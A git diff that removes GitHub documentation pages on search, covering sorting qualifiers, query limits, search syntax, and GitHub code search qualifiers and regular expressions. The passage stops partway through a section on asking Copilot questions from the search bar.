b/content/search-github/getting-started-with-searching-on-github/sorting-search-results.md deleted file mode 100644 index 4f6afafe5951..000000000000 --- a/content/search-github/getting-started-with-searching-on-github/sorting-search-results.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Sorting search results -intro: 'You can sort {% data variables.product.github %} search results using the Sort menu, or by adding a `sort` qualifier to your query.' -redirect_from: - - /articles/sorting-search-results - - /github/searching-for-information-on-github/sorting-search-results - - /github/searching-for-information-on-github/getting-started-with-searching-on-github/sorting-search-results -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search ---- - -{% ifversion code-search-upgrade %} - -> [!NOTE] -> Sorting search results is not supported for {% data variables.product.github %} code search. For more information on code search, see [AUTOTITLE](/search-github/github-code-search/about-github-code-search). - -{% endif %} - -Use the **Sort** dropdown menu to sort results by relevance, number of stars, number of forks, and how recently the items were updated. - -To sort by interactions, reactions, author date, committer date, or how recently the items were updated, you can add a `sort` qualifier to your search query. - -## Sort by interactions - -The `sort:interactions` qualifier sorts by the highest combined number of reactions and comments. - -| Qualifier | Example -| ------------- | ------------- -| `sort:interactions` or `sort:interactions-desc` | [**org:github sort:interactions**](https://github.com/search?q=org%3Agithub+sort%3Ainteractions&type=Issues) matches issues in repositories owned by {% data variables.product.github %}, sorted by the highest combined number of reactions and comments. -| `sort:interactions-asc` | [**org:github sort:interactions-asc**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Ainteractions-asc&type=Issues) matches issues in repositories owned by {% data variables.product.github %}, sorted by the lowest combined number of reactions and comments. - -## Sort by reactions - -The `sort:reactions` qualifier sorts by the number or type of reactions. - -| Qualifier | Example -| ------------- | ------------- -| `sort:reactions` or `sort:reactions-desc` | [**org:github sort:reactions**](https://github.com/search?q=org%3Agithub+sort%3Areactions&type=Issues) matches issues in repositories owned by {% data variables.product.github %}, sorted by the highest number of reactions. -| `sort:reactions-asc` | [**org:github sort:reactions-asc**](https://github.com/search?q=org%3Agithub+sort%3Areactions-asc&type=Issues) matches issues in repositories owned by {% data variables.product.github %}, sorted by ascending number of reactions (the fewest to the most). -| sort:reactions-reaction | [**org:github sort:reactions-+1**](https://github.com/search?q=org%3Agithub+sort%3Areactions-%2B1&type=Issues) matches issues in repositories owned by {% data variables.product.github %}, sorted by most thumbs up (:+1:) reactions. -| sort:reactions-reaction | [**org:github sort:reactions--1**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions--1&type=Issues) matches issues in repositories owned by {% data variables.product.github %}, sorted by most thumbs down (:-1:) reactions. -| sort:reactions-reaction | [**org:github sort:reactions-smile**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions-smile&type=Issues) matches issues in repositories owned by {% data variables.product.github %}, sorted by most laugh (:smile:) reactions. -| sort:reactions-reaction | [**org:github sort:reactions-tada**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions-tada&type=Issues) matches issues in repositories owned by {% data variables.product.github %}, sorted by most hurray (:tada:) reactions. -| sort:reactions-reaction | [**org:github sort:reactions-heart**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub+sort%3Areactions-heart&type=Issues) matches issues in repositories owned by {% data variables.product.github %}, sorted by most heart (:heart:) reactions. - -## Sort by author date - -The `sort:author-date` qualifier sorts by descending or ascending author date. - -| Qualifier | Example -| ------------- | ------------- -| `sort:author-date` or `sort:author-date-desc` | [**feature org:github sort:author-date**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Aauthor-date&type=Commits) matches commits containing the word "feature" in repositories owned by {% data variables.product.github %}, sorted by descending author date. -| `sort:author-date-asc` | [**`feature org:github sort:author-date-asc`**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Aauthor-date-asc&type=Commits) matches commits containing the word "feature" in repositories owned by {% data variables.product.github %}, sorted by ascending author date. - -## Sort by committer date - -The `sort:committer-date` qualifier sorts by descending or ascending committer date. - -| Qualifier | Example -| ------------- | ------------- -| `sort:committer-date` or `sort:committer-date-desc` | [**feature org:github sort:committer-date**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Acommitter-date&type=Commits) matches commits containing the word "feature" in repositories owned by {% data variables.product.github %}, sorted by descending committer date. -| `sort:committer-date-asc` | [**`feature org:github sort:committer-date-asc`**](https://github.com/search?utf8=%E2%9C%93&q=feature+org%3Agithub+sort%3Acommitter-date-asc&type=Commits) matches commits containing the word "feature" in repositories owned by {% data variables.product.github %}, sorted by ascending committer date. - -## Sort by updated date - -The `sort:updated` qualifier sorts by how recently the items were updated. - -| Qualifier | Example -| ------------- | ------------- -| `sort:updated` or `sort:updated-desc` | [**feature sort:updated**](https://github.com/search?utf8=%E2%9C%93&q=feature+sort%3Aupdated&type=Repositories) matches repositories containing the word "feature," sorted by most recently updated date. -| `sort:updated-asc` | [**feature sort:updated-asc**](https://github.com/search?utf8=%E2%9C%93&q=feature+sort%3Aupdated-asc&type=Repositories) matches repositories containing the word "feature," sorted by least recently updated date. - -## Further reading - -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github) -* [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests) diff --git a/content/search-github/getting-started-with-searching-on-github/troubleshooting-search-queries.md b/content/search-github/getting-started-with-searching-on-github/troubleshooting-search-queries.md deleted file mode 100644 index 9c171464b1aa..000000000000 --- a/content/search-github/getting-started-with-searching-on-github/troubleshooting-search-queries.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Troubleshooting search queries -intro: 'If you encounter unexpected results while searching on {% data variables.product.github %}, you can troubleshoot by reviewing common problems and limitations.' -redirect_from: - - /articles/troubleshooting-search-queries - - /github/searching-for-information-on-github/troubleshooting-search-queries - - /github/searching-for-information-on-github/getting-started-with-searching-on-github/troubleshooting-search-queries -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search -shortTitle: Troubleshoot search queries ---- -## Potential timeouts - -Some queries are computationally expensive for our search infrastructure to execute. To keep search fast for everyone, we limit how long any individual query can run. In rare situations when a query exceeds the time limit, search returns all matches that were found prior to the timeout and informs you that a timeout occurred. - -Reaching a timeout does not necessarily mean that search results are incomplete. It just means that the query was discontinued before it searched through all possible data. - -## Limitations on query length - -There are some limits to the length of the queries when searching across {% data variables.product.github %}: - -* Queries longer than 256 characters are not supported -* You can't construct a query using more than five `AND`, `OR`, or `NOT` operators - -Specific search types, such as code search, might have additional limitations. Check the documentation for these search types for more information. {% ifversion code-search-upgrade %} For more information on code search limitations specifically, see [AUTOTITLE](/search-github/github-code-search/about-github-code-search#limitations).{% endif %} - -## Further reading - -* [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github) diff --git a/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md b/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md deleted file mode 100644 index 70e6ce7a8b01..000000000000 --- a/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Understanding the search syntax -intro: 'When searching {% data variables.product.github %}, you can construct queries that match specific numbers and words.' -redirect_from: - - /articles/search-syntax - - /articles/understanding-the-search-syntax - - /github/searching-for-information-on-github/understanding-the-search-syntax - - /github/searching-for-information-on-github/getting-started-with-searching-on-github/understanding-the-search-syntax -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub search -shortTitle: Understand search syntax ---- - -{% ifversion code-search-upgrade %} - -> [!NOTE] -> The syntax below applies to non-code search. For more information on code search syntax, see [AUTOTITLE](/search-github/github-code-search/understanding-github-code-search-syntax). - -{% endif %} - -## Query for values greater or less than another value - -You can use `>`, `>=`, `<`, and `<=` to search for values that are greater than, greater than or equal to, less than, and less than or equal to another value. - -Query | Example -------------- | ------------- ->n | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** matches repositories with the word "cats" that have more than 1000 stars. ->=n | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** matches repositories with the word "cats" that have 5 or more topics. -<n | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** matches code with the word "cats" in files that are smaller than 10 KB. -<=n | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** matches repositories with the word "cats" that have 50 or fewer stars. - -You can also use [range queries](#query-for-values-between-a-range) to search for values that are greater than or equal to, or less than or equal to, another value. - -Query | Example -------------- | ------------- -n..* | **[cats stars:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** is equivalent to `stars:>=10` and matches repositories with the word "cats" that have 10 or more stars. -*..n | **[cats stars:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** is equivalent to `stars:<=10` and matches repositories with the word "cats" that have 10 or fewer stars. - -## Query for values between a range - -You can use the range syntax n..n to search for values within a range, where the first number N is the lowest value and the second is the highest value. - -Query | Example -------------- | ------------- -n..n | **[cats stars:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** matches repositories with the word "cats" that have between 10 and 50 stars. - -## Query for dates - -You can search for dates that are earlier or later than another date, or that fall within a range of dates, by using `>`, `>=`, `<`, `<=`, and [range queries](#query-for-values-between-a-range). {% data reusables.time_date.date_format %} - -Query | Example -------------- | ------------- ->YYYY-MM-DD | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** matches issues with the word "cats" that were created after April 29, 2016. ->=YYYY-MM-DD | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** matches issues with the word "cats" that were created on or after April 1, 2017. -<YYYY-MM-DD | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Repositories&utf8=%E2%9C%93)** matches repositories with the word "cats" that were pushed to before July 5, 2012. -<=YYYY-MM-DD | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** matches issues with the word "cats" that were created on or before July 4, 2012. -YYYY-MM-DD..YYYY-MM-DD | **[cats pushed:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** matches repositories with the word "cats" that were pushed to between the end of April and July of 2016. -YYYY-MM-DD..* | **[cats created:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** matches issues created on or after April 30th, 2012 containing the word "cats." -*..YYYY-MM-DD | **[cats created:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** matches issues created on or before July 4th, 2012 containing the word "cats." - -{% data reusables.time_date.time_format %} - -Query | Example -------------- | ------------- -YYYY-MM-DDTHH:MM:SS+00:00 | **[cats created:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** matches issues created between January 1, 2017 at 1 a.m. with a UTC offset of `07:00` and March 1, 2017 at 3 p.m. with a UTC offset of `07:00`. -YYYY-MM-DDTHH:MM:SSZ | **[cats created:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** matches issues created between March 21, 2016 at 2:11pm and April 7, 2016 at 8:45pm. - -## Exclude results that match a qualifier - -You can narrow down search results by excluding one or more subsets. To exclude all results that are matched by a qualifier, prefix the search qualifier with a hyphen (`-`). - -Query | Example -------------- | ------------- --QUALIFIER | **[`cats stars:>10 -language:javascript`](https://github.com/search?q=cats+stars%3A>10+-language%3Ajavascript&type=Repositories)** matches repositories with the word "cats" that have more than 10 stars but are not written in JavaScript. --QUALIFIER | **[`mentions:defunkt -org:github`](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** matches issues mentioning @defunkt that are not in repositories in the GitHub organization. - -## Exclude results with specific keywords - -You can exclude results containing a certain word, using the `NOT` syntax. The `NOT` operator can only be used for string keywords. It does not work for numerals or dates. - -Query | Example -------------- | ------------- -`NOT` | **[hello NOT world](https://github.com/search?q=hello+NOT+world&type=Repositories)** matches repositories that have the word "hello" but not the word "world." - -## Use quotation marks for queries with whitespace - -If your search query contains whitespace, you will need to surround it with quotation marks. For example: - -* [cats NOT "hello world"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) matches repositories with the word "cats" but not the words "hello world." -* [build label:"bug fix"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) matches issues with the word "build" that have the label "bug fix." - -{% ifversion ghes %} Some non-alphanumeric symbols, such as spaces, are dropped from code search queries within quotation marks, so results can be unexpected.{% endif %} - -## Queries with usernames - -If your search query contains a qualifier that requires a username, such as `user`, `actor`, or `assignee`, you can use any valid username to specify a specific person{% ifversion copilot %}, `@me` to specify the current user, or `@copilot` to specify {% data variables.product.prodname_copilot_short %}.{% else %} or `@me`, to specify the current user.{% endif %} - -| Query | Example | -| ------ | ------- | -| `QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) matches commits authored by @nat | -| `QUALIFIER:@me` | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) matches issues assigned to the person viewing the results | -| {% ifversion copilot %} | -| `QUALIFIER:@copilot` | [`is:pr reviewed-by:@copilot`](https://github.com/search?q=is:pr+reviewed-by:@copilot&type=pullrequests) matches pull requests reviewed by {% data variables.product.prodname_copilot_short %}. For more information, see [AUTOTITLE](/copilot/using-github-copilot/code-review/using-copilot-code-review). | -| {% endif %} | - -You can only use `@me` {% ifversion copilot %} or `@copilot` {% endif %} with a qualifier, and not as a search term, such as `@me main.workflow`. diff --git a/content/search-github/github-code-search/about-github-code-search.md b/content/search-github/github-code-search/about-github-code-search.md deleted file mode 100644 index 63af61e782f8..000000000000 --- a/content/search-github/github-code-search/about-github-code-search.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: About GitHub Code Search -intro: 'You can search, navigate and understand code across {% data variables.product.prodname_dotcom %} with code search.' -allowTitleToDifferFromFilename: true -versions: - feature: code-search-upgrade -topics: - - GitHub search ---- - -## About {% data variables.product.prodname_dotcom %} code search - -{% data variables.product.prodname_dotcom %} code search lets you rapidly search, navigate and understand your code, your team's code, and the code of the open source community. This search engine is designed to be scalable, code-aware, and support searching code across {% data variables.product.prodname_dotcom %} using regular expressions, boolean operations, specialized qualifiers, and symbol search. For more information on the syntax of code search, see [AUTOTITLE](/search-github/github-code-search/understanding-github-code-search-syntax). - -Code search is integrated with features in the search interface on {% data variables.product.prodname_dotcom %}, such as suggestions and completions. Your searches will be saved automatically and can be deleted at any time. On {% data variables.product.prodname_mobile %}, you can use the same methods to search through code directly from the home screen. For more information, see [AUTOTITLE](/search-github/github-code-search/using-github-code-search). - -{% data reusables.search.code-search-login-requirement %} - -{% data reusables.search.non-code-search-explanation %} - -## Code navigation - -{% data variables.product.prodname_dotcom %} code search provides code navigation for supported languages. This includes jumping to the definition of and finding references for programming language constructs like classes, structs, functions, and methods. See [AUTOTITLE](/repositories/working-with-files/using-files/navigating-code-on-github). - -## Limitations - -We have indexed many public repositories for code search, and continue to index more. Additionally, the private repositories of {% data variables.product.prodname_dotcom %} users are indexed and searchable by those that already have access to those private repositories on {% data variables.product.prodname_dotcom %}. However, very large repositories may not be indexed at this time, and not all code is indexed. - -The current limitations on indexed code are: - -* Vendored and generated code is excluded -* Empty files and files over 350 KiB are excluded -* Lines over 1,024 characters long are truncated -* Binary files (PDF, etc.) are excluded -* Only UTF-8 encoded files are included -* Very large repositories may not be indexed -* Exhaustive search is not supported -* Files with more than one line over 4096 bytes are excluded - -We currently only support searching for code on the default branch of a repository. The query length is limited to 1000 characters. - -Results for any search with code search are restricted to 100 results (5 pages). Sorting is not supported for code search results at this time. This limitation only applies to searching code with the new code search and does not apply to other types of searches. - -If you use the `path:` qualifier for a file that's in multiple repositories with similar content, {% data variables.product.prodname_dotcom %} will only show a few of those files. If this happens, you can choose to expand by clicking **Show identical files** at the bottom of the page. - -Code search supports searching for symbol definitions in code, such as function or class definitions, using the `symbol:` qualifier. However, note that the `symbol:` qualifier only searches for definitions and not references, and not all symbol types or languages are fully supported yet. For a list of what languages are supported, see [AUTOTITLE](/search-github/github-code-search/understanding-github-code-search-syntax#symbol-qualifier). - -On {% data variables.product.prodname_mobile %}, you can use code search directly from the home screen. For more information, see [AUTOTITLE](/search-github/github-code-search/using-github-code-search#using-github-code-search-on-github-mobile). - -## Feedback and support - -You can view and share feedback about code search in our [discussion forum](https://github.com/orgs/community/discussions/categories/code-search-and-navigation). diff --git a/content/search-github/github-code-search/index.md b/content/search-github/github-code-search/index.md deleted file mode 100644 index 17a623a3ffee..000000000000 --- a/content/search-github/github-code-search/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: GitHub Code Search -intro: 'Learn how to use code search to find, navigate, and understand code across {% data variables.product.prodname_dotcom %}.' -allowTitleToDifferFromFilename: true -versions: - feature: code-search-upgrade -topics: - - GitHub search -children: - - /about-github-code-search - - /using-github-code-search - - /understanding-github-code-search-syntax ---- diff --git a/content/search-github/github-code-search/understanding-github-code-search-syntax.md b/content/search-github/github-code-search/understanding-github-code-search-syntax.md deleted file mode 100644 index 79a873b8c117..000000000000 --- a/content/search-github/github-code-search/understanding-github-code-search-syntax.md +++ /dev/null @@ -1,318 +0,0 @@ ---- -title: Understanding GitHub Code Search syntax -shortTitle: Code search syntax -intro: 'You can build search queries for the results you want with specialized code qualifiers, regular expressions, and boolean operations.' -allowTitleToDifferFromFilename: true -versions: - feature: code-search-upgrade -topics: - - GitHub search ---- - -## About code search query structure - -The search syntax in this article only applies to searching code with {% data variables.product.prodname_dotcom %} code search. {% data reusables.search.non-code-search-explanation %} - -Search queries consist of search terms, comprising text you want to search for, and qualifiers, which narrow down the search. - -A bare term with no qualifiers will match either the content of a file or the file's path. - -For example, the following query: - -```text -http-push -``` - -The above query will match the file `docs/http-push.txt`, even if it doesn't contain the term `http-push`. It will also match a file called `example.txt` if it contains the term `http-push`. - -You can enter multiple terms separated by whitespace to search for documents that satisfy both terms. - -For example, the following query: - -```text -sparse index -``` - -The search results would include all documents containing both the terms `sparse` and `index`, in any order. As examples, it would match a file containing `SparseIndexVector`, a file with the phrase `index for sparse trees`, and even a file named `index.txt` that contains the term `sparse`. - -Searching for multiple terms separated by whitespace is the equivalent to the search `hello AND world`. Other boolean operations, such as `hello OR world`, are also supported. For more information about boolean operations, see [Using boolean operations](#using-boolean-operations). - -Code search also supports searching for an exact string, including whitespace. For more information, see [Query for an exact match](#query-for-an-exact-match). - -You can narrow your code search with specialized qualifiers, such as `repo:`, `language:` and `path:`. For more information on the qualifiers you can use in code search, see [Using qualifiers](#using-qualifiers). - -You can also use regular expressions in your searches by surrounding the expression in slashes. For more information on using regular expressions, see [Using regular expressions](#using-regular-expressions). - -## Query for an exact match - -To search for an exact string, including whitespace, you can surround the string in quotes. For example: - -```text -"sparse index" -``` - -You can also use quoted strings in qualifiers, for example: - -```text -path:git language:"protocol buffers" -``` - -## Searching for quotes and backslashes - -To search for code containing a quotation mark, you can escape the quotation mark using a backslash. For example, to find the exact string `name = "tensorflow"`, you can search: - -```text -"name = \"tensorflow\"" -``` - -To search for code containing a backslash, `\`, use a double backslash, `\\`. - -The two escape sequences `\\` and `\"` can be used outside of quotes as well. No other escape sequences are recognized, though. A backslash that isn't followed by either `"` or `\` is included in the search, unchanged. - -Additional escape sequences, such as `\n` to match a newline character, are supported in regular expressions. See [Using regular expressions](#using-regular-expressions). - -## Using boolean operations - -Code search supports boolean expressions. You can use the operators `AND`, `OR`, and `NOT` to combine search terms. - -By default, adjacent terms separated by whitespace are equivalent to using the `AND` operator. For example, the search query `sparse index` is the same as `sparse AND index`, meaning that the search results will include all documents containing both the terms `sparse` and `index`, in any order. - -To search for documents containing either one term or the other, you can use the `OR` operator. For example, the following query will match documents containing either `sparse` or `index`: - -```text -sparse OR index -``` - -To exclude files from your search results, you can use the `NOT` operator. For example, to exclude files in the `__testing__` directory, you can search: - -```text -"fatal error" NOT path:__testing__ -``` - -You can use parentheses to express more complicated boolean expressions. For example: - -```text -(language:ruby OR language:python) AND NOT path:"/tests/" -``` - -## Using qualifiers - -You can use specialized keywords to qualify your search. -* [Repository qualifier](#repository-qualifier) -* [Organization and user qualifiers](#organization-and-user-qualifiers) -* [Language qualifier](#language-qualifier) -* [Path qualifier](#path-qualifier) -* [Symbol qualifier](#symbol-qualifier) -* [Content qualifier](#content-qualifier) -* [Is qualifier](#is-qualifier) - -### Repository qualifier - -To search within a repository, use the `repo:` qualifier. You must provide the full repository name, including the owner. For example: - -```text -repo:github-linguist/linguist -``` - -To search within a set of repositories, you can combine multiple `repo:` qualifiers with the boolean operator `OR`. For example: - -```text -repo:github-linguist/linguist OR repo:tree-sitter/tree-sitter -``` - -> [!NOTE] -> Code search does not currently support regular expressions or partial matching for repository names, so you will have to type the entire repository name (including the user prefix) for the `repo:` qualifier to work. - -### Organization and user qualifiers - -To search for files within an organization, use the `org:` qualifier. For example: - -```text -org:github -``` - -To search for files within a personal account, use the `user:` qualifier. For example: - -```text -user:octocat -``` - -> [!NOTE] -> Code search does not currently support regular expressions or partial matching for organization or user names, so you will have to type the entire organization or user name for the qualifier to work. - -### Language qualifier - -To narrow down to a specific languages, use the `language:` qualifier. For example: - -```text -language:ruby OR language:cpp OR language:csharp -``` - -For a complete list of supported language names, see [languages.yaml](https://github.com/github-linguist/linguist/blob/main/lib/linguist/languages.yml) in [github-linguist/linguist](https://github.com/github-linguist/linguist). If your preferred language is not on the list, you can open a pull request to add it. - -### Path qualifier - -To search within file paths, use the `path:` qualifier. This will match files containing the term anywhere in their file path. For example, to find files containing the term `unit_tests` in their path, use: - -```text -path:unit_tests -``` - -The above query will match both `src/unit_tests/my_test.py` and `src/docs/unit_tests.md` since they both contain `unit_test` somewhere in their path. - -To match only a specific filename (and not part of the path), you could use a regular expression: - -```text -path:/(^|\/)README\.md$/ -``` - -Note that the `.` in the filename is escaped, since `.` has special meaning for regular expressions. For more information about using regular expressions, see [Using regular expressions](#using-regular-expressions). - -
- -You can also use some limited glob expressions in the `path:` qualifier. - -For example, to search for files with the extension `txt`, you can use: - -```text -path:*.txt -``` - -
-To search for JavaScript files within a `src` directory, you could use: - -```text -path:src/*.js -``` - -* By default, glob expressions are not anchored to the start of the path, so the above expression would still match a path like `app/src/main.js`. But if you prefix the expression with `/`, it will anchor to the start. For example: - - ```text - path:/src/*.js - ``` - -* Note that `*` doesn't match the `/` character, so for the above example, all results will be direct descendants of the `src` directory. To match within subdirectories, so that results include deeply nested files such as `/src/app/testing/utils/example.js`, you can use `**`. For example: - - ```text - path:/src/**/*.js - ``` - -
- -You can also use the `?` global character. For example, to match the path `file.aac` or `file.abc`, you can use: - -```text -path:*.a?c -``` - -
-To search for a filename which contains a special character like `*` or `?`, just use a quoted string: - -```text -path:"file?" -``` - -Glob expressions are disabled for quoted strings, so the above query will only match paths containing the literal string `file?`. - -### Symbol qualifier - -You can search for symbol definitions in code, such as function or class definitions, using the `symbol:` qualifier. Symbol search is based on parsing your code using the open source [Tree-sitter](https://github.com/tree-sitter) parser ecosystem, so no extra setup or build tool integration is required. - -For example, to search for a symbol called `WithContext`: - -```text -language:go symbol:WithContext -``` - -In some languages, you can search for symbols using a prefix (e.g. a prefix of their class name). For example, for a method `deleteRows` on a struct `Maint`, you could search `symbol:Maint.deleteRows` if you are using Go, or `symbol:Maint::deleteRows` in Rust. - -You can also use regular expressions with the symbol qualifier. For example, the following query would find conversions people have implemented in Rust for the `String` type: - -```text -language:rust symbol:/^String::to_.*/ -``` - -Note that this qualifier only searches for definitions and not references, and not all symbol types or languages are fully supported yet. Symbol extraction is supported for the following languages: - -{% data reusables.search.code-nav-supported-languages %} - -We are working on adding support for more languages. If you would like to help contribute to this effort, you can add support for your language in the open source [Tree-sitter](https://github.com/tree-sitter) parser ecosystem, upon which symbol search is based. - -### Content qualifier - -By default, bare terms search both paths and file content. To restrict a search to strictly match the content of a file and not file paths, use the `content:` qualifier. For example: - -```text -content:README.md -``` - -This query would only match files containing the term `README.md`, rather than matching files named `README.md`. - -### Is qualifier - -To filter based on repository properties, you can use the `is:` qualifier. `is:` supports the following values: - -* `archived`: restricts the search to archived repositories. -* `fork`: restricts the search to forked repositories. -* `vendored`: restricts the search to content detected as vendored. -* `generated`: restricts the search to content detected as generated. - -For example: - -```text -path:/^MIT.txt$/ is:archived -``` - -Note that the `is:` qualifier can be inverted with the `NOT` operator. To search for non-archived repositories, you can search: - -```text -log4j NOT is:archived -``` - -To exclude forks from your results, you can search: - -```text -log4j NOT is:fork -``` - -## Using regular expressions - -Code search supports regular expressions to search for patterns in your code. You can use regular expressions in bare search terms as well as within many qualifiers, by surrounding the regex in slashes. - -For example, to search for the regular expression `sparse.*index`, you would use: - -```text -/sparse.*index/ -``` - -Note that you'll have to escape any forward slashes within the regular expression. For example, to search for files within the `App/src` directory, you would use: - -```text -/^App\/src\// -``` - -Inside a regular expression, `\n` stands for a newline character, `\t` stands for a tab, and `\x{hhhh}` can be used to escape any Unicode character. This means you can use regular expressions to search for exact strings that contain characters that you can't type into the search bar. - -Most common regular expressions features work in code search. However, "look-around" assertions are not supported. - -## Separating search terms - -All parts of a search, such as search terms, exact strings, regular expressions, qualifiers, parentheses, and the boolean keywords `AND`, `OR`, and `NOT`, must be separated from one another with spaces. The one exception is that items inside parentheses, `(` `)`, don't need to be separated from the parentheses. - -If your search contains multiple components that aren't separated by spaces, or other text that does not follow the rules listed above, code search will try to guess what you mean. It often falls back on treating that component of your query as the exact text to search for. For example, the following query: - -```text -printf("hello world\n"); -``` - -Code search will give up on interpreting the parentheses and quotes as special characters and will instead search for files containing that exact code. - -If code search guesses wrong, you can always get the search you wanted by using quotes and spaces to make the meaning clear. - -## Case sensitivity - -By default, code search is case-insensitive, and results will include both uppercase and lowercase results. You can do case-sensitive searches by using a regular expression with case insensitivity turned off. For example, to search for the string "True", you would use: - -```text -/(?-i)True/ -``` diff --git a/content/search-github/github-code-search/using-github-code-search.md b/content/search-github/github-code-search/using-github-code-search.md deleted file mode 100644 index ace33bbd3cb9..000000000000 --- a/content/search-github/github-code-search/using-github-code-search.md +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Using GitHub Code Search -intro: "You can use suggestions, completions and saved searches in the upgraded search interface to quickly find what you are looking for across {% data variables.product.prodname_dotcom %}." -allowTitleToDifferFromFilename: true -versions: - feature: code-search-upgrade -topics: - - GitHub search ---- - -## About using {% data variables.product.prodname_dotcom %} code search - -{% data variables.product.prodname_dotcom %} indexes repositories you own and repositories in organizations you are a member of, whether public, private, or internal. This means that you can search across all of your repositories, in addition to the public repositories on {% data variables.product.prodname_dotcom %} that have already been indexed. Only users with permission to view your code will be able to see your code in search results. Forks are indexed and searchable in the same way as other repositories. - -Not all code is indexed, and you can currently only search the default branches of repositories. For more information on known limitations, see [AUTOTITLE](/search-github/github-code-search/about-github-code-search#limitations). - -{% data reusables.search.code-search-login-requirement %} - -## Using the search bar - -You can search using the search interface on {% data variables.product.prodname_dotcom %}. Using suggestions, completions, and saved searches, you can quickly find what you are looking for, often without having to fully type a query or view the search results page. - -For more information about the search syntax of code search, see [AUTOTITLE](/search-github/github-code-search/understanding-github-code-search-syntax). - -{% data reusables.search.non-code-search-explanation %} - -1. In the top navigation of {% data variables.product.prodname_dotcom %}, click the search bar. -1. Under the search bar, you will see a list of suggestions organized by category, including recent searches and suggested repositories, teams, and projects that you have access to. You can also see a list of saved searches that you have created. For more information on saved searches, see [Creating and managing saved searches](#creating-and-managing-saved-searches). - - ![Screenshot of the {% data variables.product.prodname_dotcom %} search bar. There is a list of search suggestions by category below the search bar.](/assets/images/help/search/code-search-beta-search-bar.png) - - If you click on any of the specific suggestions, you will be taken directly to the page for that suggestion (for example, the repository or project page). If you click on a recent or saved search, depending on the type of search, the search query will appear in the search bar or you will be taken to the search results page for the search term. - -{% data reusables.search.type-code-search-query-step %} - - ![Screenshot of a search for "repo:octocat/spoon-knife". The code results are outlined in dark orange.](/assets/images/help/search/code-search-beta-search-bar-code-suggestions.png) - -1. After typing your query, you can also press Enter to go to the full search results view, where you can see each match and a visual interface for applying filters. For more information, see [Using the search results view](#using-the-search-results-view). - -{% ifversion copilot %} - -## Getting answers with {% data variables.product.prodname_copilot_short %} from the search bar - -> [!NOTE] {% data reusables.copilot.copilot-requires-subscription %} - -You can use {% data variables.product.prodname_copilot %} to ask questions about an entire repository directly from the main search box. Simply type your question into the search bar, and {% data variables.product.prodname_copilot_short %} can provide insights or explanations about the repository’s structure, purpose, or specific components. This makes it easy to get quick answers without navigating through multiple files, helping you stay focused and maintain your workflow. - -1. Navigate to a repository on {% data variables.product.github %}. -1. Press /, or click in the main search box at the top of the page. -1. In the search box, after `repo:OWNER/REPO`, type the question you want to ask {% data variables.product.prodname_copilot_short %}. - - For example, you could enter: - - * `What does this repo do?` - * `Where is authentication implemented in this codebase?` - * `How does license file detection work in this repo?` - -1. Click **Ask {% data 